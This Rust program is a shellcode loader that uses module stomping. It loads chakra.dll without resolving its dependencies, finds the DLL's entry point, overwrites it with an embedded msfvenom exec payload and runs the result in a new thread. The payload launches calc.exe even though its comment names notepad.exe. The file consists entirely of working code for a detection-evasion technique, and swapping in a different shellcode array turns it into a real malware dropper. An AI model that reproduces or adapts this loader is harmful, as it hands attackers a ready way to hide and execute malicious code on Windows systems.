use std::ffi::c_void;
use windows::{
    core::{s, Error, Result},
    Win32::{
        Foundation::{E_FAIL, HANDLE},
        System::{
            Diagnostics::Debug::IMAGE_NT_HEADERS64,
            LibraryLoader::{LoadLibraryExA, DONT_RESOLVE_DLL_REFERENCES},
            Memory::{VirtualProtect, PAGE_PROTECTION_FLAGS, PAGE_READWRITE},
            SystemServices::{IMAGE_DOS_HEADER, IMAGE_NT_SIGNATURE},
            Threading::{CreateThread, THREAD_CREATION_FLAGS},
        },
    },
};

// msfvenom -p windows/x64/exec CMD=notepad.exe -f rust EXITFUNC=thread
const SHELLCODE: [u8; 276] = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
    0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
    0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
    0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
    0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
    0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
    0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
    0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
    0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
    0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
    0x65, 0x78, 0x65, 0x00,
];

fn main() -> Result<()> {
    // Load the target DLL and retrieve the entry point address
    let entry_point = load_library()?;
    unsafe {
        // Change the memory protection of the entry point to PAGE_READWRITE
        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(
            entry_point,
            SHELLCODE.len(),
            PAGE_READWRITE,
            &mut old_protect,
        )?;

        // Copy the shellcode over the entry point
        std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), entry_point.cast(), SHELLCODE.len());

        // Restore the original memory protection
        VirtualProtect(entry_point, SHELLCODE.len(), old_protect, &mut old_protect)?;

        // Create a thread to execute the shellcode
        CreateThread(
            None,
            0,
            Some(std::mem::transmute(entry_point)),
            None,
            THREAD_CREATION_FLAGS(0),
            None,
        )?;

        println!("[+] Shellcode Executed!");
        
        // Wait for the thread to finish execution
        std::thread::sleep(std::time::Duration::from_secs(10));

        Ok(())
    }
}


/// Loads a DLL into the process memory without resolving its dependencies,
/// retrieves and returns the address of its entry point.
///
/// # Returns
///
/// * `Ok(*mut c_void)` - Pointer to the entry point of the loaded DLL.
/// * `Err(Error)` - If the DLL cannot be loaded or its PE signature is invalid.
fn load_library() -> Result<*mut c_void> {
    unsafe {
        let module = LoadLibraryExA(
            s!("chakra.dll"),
            HANDLE::default(),
            DONT_RESOLVE_DLL_REFERENCES,
        )?
        .0;

        let dos_header = module as *mut IMAGE_DOS_HEADER;
        let nt_header = (module as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            return Err(Error::new(E_FAIL, "IMAGE SIGNATURE INVALID"));
        }

        let entry_point = (module as usize + (*nt_header).OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void;
        Ok(entry_point)
    }
}
